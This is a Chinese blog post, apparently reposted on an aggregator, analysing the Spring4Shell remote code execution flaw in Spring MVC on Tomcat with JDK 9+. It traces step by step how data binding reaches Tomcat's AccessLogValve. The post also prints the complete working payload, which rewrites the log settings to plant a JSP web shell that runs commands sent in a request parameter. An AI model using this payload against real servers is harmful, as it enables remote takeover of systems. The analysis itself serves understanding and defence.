Spring4Shell的漏洞原理分析

Spring框架最新的PoC

这两天出来的一个RCE漏洞,但是有以下的条件限制才行:

  • 必须是jdk9及以上

  • 必须是部署在tomcat的应用

  • 是springmvc的或者webflux的应用

具体的可以查看spring官方:

https://spring.io/blog/2022/03/31/spring-framework-rce-early-announcement

我看到这个漏洞的时候,就去查了以下怎么利用的,github一搜很多py脚本。

但是我没找到漏洞利用的原理,所以我就自己做了个demo,然后debugger了一下,原来是这样~

漏洞利用的原理

我们都知道,我们在springmvc的时候经常会这么写代码来接收前端传来的参数

@RequestMapping(value = "/register", method = RequestMethod.GET)
public String register(@RequestParam Map<String, String> requestparams, Model model) throws Exception {String email = requestparams.get("email");String username = requestparams.get("username");model.addAttribute("data", "email:" + email + " username:" + username);return "index";
}

如果我们这么访问:

http://localhost:8080/vulnerable_war/register?email=11&username=b

那么返回的结果就是这样:

0689bb967efee9785441379e450470f5.png
image

那么如果我们把接收的类型从Map转成一个POJO的话,就像这样:

@RequestMapping(value = "/register2", method = RequestMethod.GET)
public String register2(HelloWorld obj, Model model) throws Exception {model.addAttribute("data", obj.toString());return "index";
}

访问一下:

ce6cab41ba47785cc3e9f8da2cd12ee3.png
image

这说明了,springmvc框架帮我们做了一个很重要的事情:

通过我们请求的数据,转成了POJO对象。

恰巧就是这个非常好用的封装导致了这个POC

解析POC第一步:到底构造了一个什么数据会引发呢?

跑的环境是:

  • jdk11

  • tomcat8.5.58

  • spring-webmvc5.3.15

class.module.classLoader.resources.context.parent.pipeline.first.pattern=
%{c2}i if("j".equals(request.getParameter("pwd"))){ java.io.InputStream in = %{c1}i.getRuntime().exec(request.getParameter("cmd")).getInputStream(); int a = -1; byte[] b = new byte[2048]; while((a=in.read(b))!=-1){ out.println(new String(b)); } } %{suffix}iclass.module.classLoader.resources.context.parent.pipeline.first.suffix=.jsp
class.module.classLoader.resources.context.parent.pipeline.first.directory=webapps/ROOT
class.module.classLoader.resources.context.parent.pipeline.first.prefix=tomcatwar
class.module.classLoader.resources.context.parent.pipeline.first.fileDateFormat=

将上面的数据用下面post的方式调用下面的接口

1bc92570842d91f0e2c7fd74bd314335.png
image
@RequestMapping(value = "/rapid7")
public void vulnerable(HelloWorld model) {}

注意header里面的值是需要的,目的是为了迎合tomcat日志的pattern(下面会讲到)

  • %i 这个语法是从请求的header里面拿xxx

就会在tomcat的Root目录下生成一个jsp文件

2f3ef309d0b1cdf66708070e0e824cca.png
image

内容如下:

b61f9abe7aa0d3a160db62e827d1d815.png
image

计息POC第二步:jsp文件是怎么生成的?

方法接收的class:HelloWorld,我这么传,spring框架是怎么来处理的呢?

c6e24ca27ba2dba0430304706999ebb6.png
image

根据HelloWorld的实例

结合传过来属性路径:class.module.classLoader.resources.context.parent.pipeline.first.pattern

然后一步步的运用反射来去拿属性对应的值,这个例子的话就是

  • 调用HelloWorld的getClass() 拿到Class对象

  • 通过class对象调用getModule()

  • 通过Module调用getClassLoader()

  • 通过ClassLoader拿resources

  • context是Tomcat的StandardContext

  • parent拿到的是StandardEngine

  • pipeline拿到的是StandardPipeline

  • first拿到的是AccessLogValve

可以在下图所示设置断点:就可以看到上面说的每一步了8f13283d2e5a0e0554c8cc59145ef140.png

主角上场:bc8dab254c0747a8f4288260d20cce72.png

AccessLogValve是tomcat记录日志的,

  • pattern是日志格式

  • suffix是日志文件的后缀

  • prefix是日志文件的前缀

  • fileDateFormat是日期文件的时间格式

谜底揭晓

根据以上分析,我们知道,传过去的data由对象的class作为引子,然后springmvc会一步步反射拿属性的方式最终是给AccessLogValve对象的几个属性的赋值操作

经过对tomcat的处理请求的日志管道(AccessLogValve)的改写,导致当前请求会被触发记录日志,日志会按照我们想要的方式生成了一个jsp文件。

6ceac7c4a9ed811025ed1b0ed1e1d117.png
image

为啥是jdk9及以上版本呢,因为module的概念是从jdk9开始的~

为啥是得部署到tomcat里的应用呢,因为只有这样才会利用它的日志功能~

spring是咋修复的

d41f73b2ce9f1904c0da3e4574c35875.png
image

我是正东,学的越多不知道也越多。一个漏洞引发的思考~收获挺大!

本文来自互联网用户投稿,该文观点仅代表作者本人,不代表本站立场。本站仅提供信息存储空间服务,不拥有所有权,不承担相关法律责任。如若转载,请注明出处:http://www.mzph.cn/news/289753.shtml

如若内容造成侵权/违法违规/事实不符,请联系多彩编程网进行投诉反馈email:809451989@qq.com,一经查实,立即删除!

相关文章

ArcGIS Python

1.遍历指定文件夹下的Grid格式的Raster import arcpy arcpy.env.workspace "D:\GLC_2000\China_gridv3\Grid" rasters arcpy.ListRasters("*", "GRID") for raster in rasters:print(raster) 结果&#xff1a; china_v3 china_v3_pro 2.遍…

php 点对点,浅析点对点(End-to-End)的场景文字识别

一、背景随着智能手机的广泛普及和移动互联网的迅速发展&#xff0c;通过手机等移动终端的摄像头获取、检索和分享资讯已经逐步成为一种生活方式。基于摄像头的(Camera-based)的应用更加强调对拍摄场景的理解。通常&#xff0c;在文字和其他物体并存的场景&#xff0c;用户往往…

spring boot aop 记录方法执行时间

了性能调优&#xff0c;需要先统计出来每个方法的执行时间&#xff0c;直接在方法前后log输出太麻烦&#xff0c;可以用AOP来加入时间统计 添加依赖 <dependency> <groupId>org.springframework.boot</groupId> <artifactId>spring-boot-starter-ao…

linux工具:ssh---未完

ssh server_ip 或者 ssh usernameserver_ip 或者 ssh usernameserver_name , 再按提示输入密码. _____________________________ Can login to remote boxBut I already have telnetCan login to remote box without passwordBut I don’t care input passowrd everytimeCan ex…

【ArcGIS遇上Python】Python实现Modis NDVI批量化月最大合成

「 刘一哥GIS」CSDN专业技术博文专栏目录索引https://geostorm.blog.csdn.net/article/details/113732454 最大合成法(MVC)可以在Envi中的Band Math中进行,式子是B1>B2,但是无法批量化;本文实现在ArcGIS中利用Python代码批量进行,如下: 用到的Modis NDVI数据是在MRT…

php 物理路径,网站物理路径查找思路

标签&#xff1a;网站物理路径查找思路一、思想核心找网站安装路径&#xff0c;即找Document Root 的位置&#xff0c;而Document Root最常见的地方就是 phpinfo.php 和httpd.conf中&#xff1b;路径查找方向&#xff0c;可以大致分为以下2个方向&#xff1a;(1) 找phpinfo(2) …

cad2016中选择全图字体怎么操作_打开CAD图纸字体丢失、重新选择怎么办?这样设置,一辈子用的到...

AutoCAD图纸本身就有着比较特殊的个性&#xff0c;难编辑难打开&#xff0c;时不时的还会来个乱码、字体缺失&#xff0c;甚至有的时候还提示我们进行字体的重新选择&#xff0c;应该怎么解决呢&#xff1f;虽然是个很经常遇见的问题&#xff0c;很多的小伙伴还是不知道如何解决…

Android studio之导入project出现SDK location not found. Define location with sdk.dir in the local.proper

1、问题 到入项目提示下面信息 SDK location not found. Define location with sdk.dir in the local.properties file or with an ANDROID_HOME environment variable. 2、分析 很明显没有找到sdk location&#xff0c;Define location with sdk.dir in the local.properti…

MassTransit - .NET Core 的分布式应用程序框架

简介MassTransit 是一个免费的、开源的.NET 分布式应用程序框架。MassTransit 使创建应用程序和服务变得容易&#xff0c;这些应用程序和服务利用基于消息的松散耦合异步通信来实现更高的可用性、可靠性和可扩展性特点•易于使用和理解的 API&#xff0c;让您专注于解决业务问题…

CoffeeScript 1.9发布,引入对生成器的支持

CoffeeScript 1.9最终引入了期待已久的生成器&#xff08;generator&#xff09;&#xff0c;这将会防止开发人员陷入回调函数的陷阱&#xff0c;并帮助他们编写异步代码。\简单说&#xff0c;生成器是这样一类函数&#xff0c;你可以中途从中退出&#xff0c;后面再进来&#…

新型互联网交换中心促进互联网产业发展,助力信息经济创新

互联网作为由众多网络互联构成的“网中网”&#xff0c;网络间联通是互联网运行的重要环节之一。互联网发展之初&#xff0c;我国网络主要由几大基础电信运营商承建&#xff08;包括中国电信、中国移动、中国联通、中国铁通等&#xff09;&#xff0c;互联网用户、ICP&#xff…

mongo学习笔记(二):聚合,游标

一、聚合 <1> Count 1.db.person.count() 2.db.person.count({"age":20}) <2> Distinct db.person.distinct("age")//指定了谁&#xff0c;谁就不能重复 <3> Group key&#xff1a;这个就是分组的key&#xff0c;我们这里是对年龄分组。…

【ArcGIS遇上Python】ArcGIS Python实现Modis NDVI批量求年最大值

一年中的12个月份的月最大合成&#xff08;mvc&#xff09;数据放在“F:\\Vegetation Change\\Data\\GIMMS Data\\1MVC\\"&#xff0c;数据名称格式为mvc_198801,mvc_198802........mvc_198812。处理年份为1981-2006&#xff0c;代码为&#xff1a; import arcpy arcpy.C…

linux终端常用命令和windows终端常用命令对比

1、打开终端的快捷键 在linux平台 ctrl + Alt + T 在windows平台 菜单键+R 然后cmd 回车 2、过滤的命令linux的grep,windows的findstr 比如我们过滤android日志 在linux平台终端命令如下 adb logcat | grep *** 在windows平台终端命令如下 adb logcat | findstr *** 3、…

字节跳动offer流程多长时间_字节跳动-运营实习生-面经实录(已Offer??)

一、岗位【职位】运营实习生&#xff08;社群、用研&#xff09;【类型】日常实习【地点】上海【JD】-职位描述-参与公司教育类APP的核心用户运营工作&#xff1b;通过社群及内容的形式服务好核心用户群体&#xff0c;提高用户口碑&#xff1b;建立用户反馈体系&#xff0c;评估…

Java实验二猜数字游戏,JAVA-第2周实验-猜数字游戏

JAVA--第2周实验--猜数字游戏/* (程序头部注释开始)* 程序的版权和版本声明部分* Copyright (c) 2011, 烟台大学计算机学院学生* All rights reserved.* 文件名称&#xff1a;猜数字游戏* 作 者&#xff1a; 雷恒鑫* 完成日期&#xff1a; 2012 年 09 月 07 日* 版 本 号&#…

Xamarin效果第十五篇之自定义CheckBox

在上一篇中使用Xamarin玩耍了GIS加载高德和百度;这不这两天又抽空完善了一下;自定义了一下CheckBox;来看看最终效果:关于实现咱就是直接自定义ContentView:后台无非就是一堆的依赖属性(和WPF真像):后台定义的Command为了支持选中状态:‍再来看看具体使用:<CustomViews:Image…

使用ndk standalone工具链来编译某个平台下的库

地址&#xff1a; http://www.kandroid.org/ndk/docs/STANDALONE-TOOLCHAIN.html It is now possible to use the toolchain provided with the Android NDK as a standalone compiler. This can be useful if you already have your own build system, and only need to abili…

顺义教委携手华平共建视频图像综合管理平台

随着经济的发展和社会的进步&#xff0c;北京顺义区的教育也迈上了新的台阶。据初步统计&#xff0c;目前全区有中小学、幼儿园、中等职业学校115所&#xff0c;大学8所&#xff0c;培训机构86个&#xff0c;在校生近10万人&#xff0c;教职工13000余人。多年教育信息化的推进&…

【Java基础】Java中的持久属性集Properties

Properties 类的介绍 Properties 类表示了一个持久的属性集。Properties 可保存在流中或从流中加载。属性列表中每个键及其对应值都是一个字符串。一个属性列表可包含另一个属性列表作为它的“默认值”&#xff1b;如果未能在原有的属性列表中搜索到属性键&#xff0c;则搜索第…